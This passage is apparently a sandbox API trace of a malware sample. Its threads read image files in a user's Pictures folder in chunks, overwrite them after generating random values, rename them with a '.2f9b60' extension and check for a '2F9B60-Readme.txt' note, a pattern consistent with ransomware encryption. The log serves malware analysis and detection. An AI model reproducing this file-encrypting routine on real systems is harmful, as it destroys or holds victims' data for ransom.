WriteFile (in: hFile=0x24a0, lpBuffer=0x202e6990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fc5f860, lpOverlapped=0x0 | out: lpBuffer=0x202e6990*, lpNumberOfBytesWritten=0x1fc5f860*=0x3c00, lpOverlapped=0x0) returned 1 [0232.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e6990) returned 1 [0232.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202db560) returned 1 [0232.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202662d0 [0232.127] SetFilePointerEx (in: hFile=0x24a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.127] WriteFile (in: hFile=0x24a0, lpBuffer=0x431a90b0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x1fc5f910, lpOverlapped=0x0 | out: lpBuffer=0x431a90b0*, lpNumberOfBytesWritten=0x1fc5f910*=0x102, lpOverlapped=0x0) returned 1 [0235.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a90b0) returned 1 [0235.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0235.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674d0) returned 1 [0235.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202662d0) returned 1 [0235.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ec50) returned 1 [0235.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0235.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dcc0) returned 1 [0235.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7b0) returned 1 [0235.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d6e20 [0235.935] wcscpy (in: _Dest=0x430d6e20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png" [0235.935] wcscat (in: _Dest=0x430d6e20, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png.2f9b60" [0235.935] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png.2f9b60", NtPathName=0x1fc5f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VexM.png.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78ea80 [0239.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ea80) returned 1 [0239.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432152e0) returned 1 [0239.917] NtQueryInformationFile (in: FileHandle=0x24a0, IoStatusBlock=0x1fc5f998, FileInformation=0x1fc5f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fc5f998, FileInformation=0x1fc5f9a8) returned 0x0 [0239.917] NtSetInformationFile (FileHandle=0x24a0, IoStatusBlock=0x1fc5f998, FileInformation=0x1fc5f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0242.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d6e20) returned 1 [0242.437] FlushFileBuffers (hFile=0x24a0) returned 1 [0242.439] CloseHandle (hObject=0x24a0) returned 1 [0242.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x431150c0 [0242.927] wcscpy (in: _Dest=0x431150c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\" [0242.927] wcscat (in: _Dest=0x431150c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt" [0242.927] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\2f9b60-readme.txt")) returned 0x20 [0242.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431150c0) returned 1 [0242.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 Thread: id = 3766 os_tid = 0xac4 [0227.520] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\vkffpj.jpg")) returned 0x20 [0227.520] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg", dwFileAttributes=0x20) returned 1 [0227.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\vkffpj.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3184 [0227.521] GetFileSizeEx (in: hFile=0x3184, lpFileSize=0x1d2af840 | out: lpFileSize=0x1d2af840*=82057) returned 1 [0227.521] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0x14085, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.521] ReadFile (in: hFile=0x3184, lpBuffer=0x1d2af7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d2af808, lpOverlapped=0x0 | out: lpBuffer=0x1d2af7c0*, lpNumberOfBytesRead=0x1d2af808*=0x4, lpOverlapped=0x0) returned 1 [0227.522] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0227.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6c0 [0227.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d690 [0227.523] NtQuerySystemTime (in: CurrentTime=0x1d2af700 | out: CurrentTime=0x1d2af700*=132462178315114000) returned 0x0 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x3db2389b [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x2b4ed9be [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x66d7e04b [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x1d93fe3f [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x35c2defe [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x505f1493 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x2a39a2f8 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x3764192b [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x520e89b0 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x168bc9b8 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x6e95dece [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x76768a3c [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x32c10300 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x62f4dfac [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0xabc6994 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x1480eeca [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x177df72d [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x12f79f6c [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x4f12834f [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x7d8c28b1 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x67655ba8 [0227.523] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x64f33e7f [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x75567706 [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x63bd10c0 [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x4ae3e184 [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x136e34c0 [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x1316257c [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x373f6bd7 [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x1aafdef4 [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x7cb4d235 [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x6b2d35a [0227.524] RtlRandomEx (in: Seed=0x1d2af6f0 | out: Seed=0x1d2af6f0) returned 0x7ebf5855 [0227.532] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.532] ReadFile (in: hFile=0x3184, lpBuffer=0x42435d20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d2af760, lpOverlapped=0x0 | out: lpBuffer=0x42435d20*, lpNumberOfBytesRead=0x1d2af760*=0x3c00, lpOverlapped=0x0) returned 1 [0227.533] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0227.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0227.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0227.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0227.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42fff4c0 [0227.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0227.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d690 [0227.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d690) returned 1 [0227.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0227.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0227.537] WriteFile (in: hFile=0x3184, lpBuffer=0x42fff4c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d2af760, lpOverlapped=0x0 | out: lpBuffer=0x42fff4c0*, lpNumberOfBytesWritten=0x1d2af760*=0x3c00, lpOverlapped=0x0) returned 1 [0232.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fff4c0) returned 1 [0232.151] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.151] ReadFile (in: hFile=0x3184, lpBuffer=0x42435d20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d2af760, lpOverlapped=0x0 | out: lpBuffer=0x42435d20*, lpNumberOfBytesRead=0x1d2af760*=0x3c00, lpOverlapped=0x0) returned 1 [0232.151] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0232.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504e10 [0232.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0232.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675c0) returned 1 [0232.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42fff4c0 [0232.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0232.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0232.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a80) returned 1 [0232.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e10) returned 1 [0232.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0232.154] WriteFile (in: hFile=0x3184, lpBuffer=0x42fff4c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d2af760, lpOverlapped=0x0 | out: lpBuffer=0x42fff4c0*, lpNumberOfBytesWritten=0x1d2af760*=0x3c00, lpOverlapped=0x0) returned 1 [0232.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fff4c0) returned 1 [0232.170] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0x10489, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.170] ReadFile (in: hFile=0x3184, lpBuffer=0x42435d20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d2af760, lpOverlapped=0x0 | out: lpBuffer=0x42435d20*, lpNumberOfBytesRead=0x1d2af760*=0x3c00, lpOverlapped=0x0) returned 1 [0232.170] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0x10489, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0232.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cbc0 [0232.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265250 [0232.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265250) returned 1 [0232.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42fff4c0 [0232.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265250 [0232.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202652e0 [0232.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202652e0) returned 1 [0232.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cbc0) returned 1 [0232.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0232.173] WriteFile (in: hFile=0x3184, lpBuffer=0x42fff4c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d2af760, lpOverlapped=0x0 | out: lpBuffer=0x42fff4c0*, lpNumberOfBytesWritten=0x1d2af760*=0x3c00, lpOverlapped=0x0) returned 1 [0232.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fff4c0) returned 1 [0232.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430a02b0 [0232.188] SetFilePointerEx (in: hFile=0x3184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.188] WriteFile (in: hFile=0x3184, lpBuffer=0x423a95b0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1d2af810, lpOverlapped=0x0 | out: lpBuffer=0x423a95b0*, lpNumberOfBytesWritten=0x1d2af810*=0x146, lpOverlapped=0x0) returned 1 [0235.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a95b0) returned 1 [0235.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675c0) returned 1 [0235.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265250) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a02b0) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d6c0) returned 1 [0235.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e0e0) returned 1 [0235.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ddb0) returned 1 [0235.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x430d6fe0 [0235.957] wcscpy (in: _Dest=0x430d6fe0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg" [0235.957] wcscat (in: _Dest=0x430d6fe0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg.2f9b60" [0235.957] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg.2f9b60", NtPathName=0x1d2af830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\VkFFpj.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78e680 [0239.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e680) returned 1 [0239.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43212db0) returned 1 [0239.892] NtQueryInformationFile (in: FileHandle=0x3184, IoStatusBlock=0x1d2af898, FileInformation=0x1d2af8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d2af898, FileInformation=0x1d2af8a8) returned 0x0 [0239.892] NtSetInformationFile (FileHandle=0x3184, IoStatusBlock=0x1d2af898, FileInformation=0x1d2af8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0242.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d6fe0) returned 1 [0242.422] FlushFileBuffers (hFile=0x3184) returned 1 [0242.425] CloseHandle (hObject=0x3184) returned 1 [0242.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x431150c0 [0242.916] wcscpy (in: _Dest=0x431150c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\" [0242.916] wcscat (in: _Dest=0x431150c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt" [0242.916] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\2f9b60-readme.txt")) returned 0x20 [0242.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431150c0) returned 1 [0242.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 Thread: id = 3767 os_tid = 0x1654 [0227.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310af40 [0227.541] wcscpy (in: _Dest=0x4310af40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K" [0227.541] wcscat (in: _Dest=0x4310af40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\" [0227.541] wcscat (in: _Dest=0x4310af40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\*" [0227.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e7b0 [0227.542] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\xh5K\\*", lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868b6390, ftCreationTime.dwHighDateTime=0x1d5e038, ftLastAccessTime.dwLowDateTime=0x90343500, ftLastAccessTime.dwHighDateTime=0x1d5e0e9, ftLastWriteTime.dwLowDateTime=0x90343500, ftLastWriteTime.dwHighDateTime=0x1d5e0e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9ea0 [0227.542] wcscmp (_String1=".", _String2=".") returned 0 [0227.542] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868b6390, ftCreationTime.dwHighDateTime=0x1d5e038, ftLastAccessTime.dwLowDateTime=0x90343500, ftLastAccessTime.dwHighDateTime=0x1d5e0e9, ftLastWriteTime.dwLowDateTime=0x90343500, ftLastWriteTime.dwHighDateTime=0x1d5e0e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.542] wcscmp (_String1="..", _String2=".") returned 1 [0227.542] wcscmp (_String1="..", _String2="..") returned 0 [0227.542] FindNextFileW (in: hFindFile=0x431f9ea0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db8bda0, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0x21758e40, 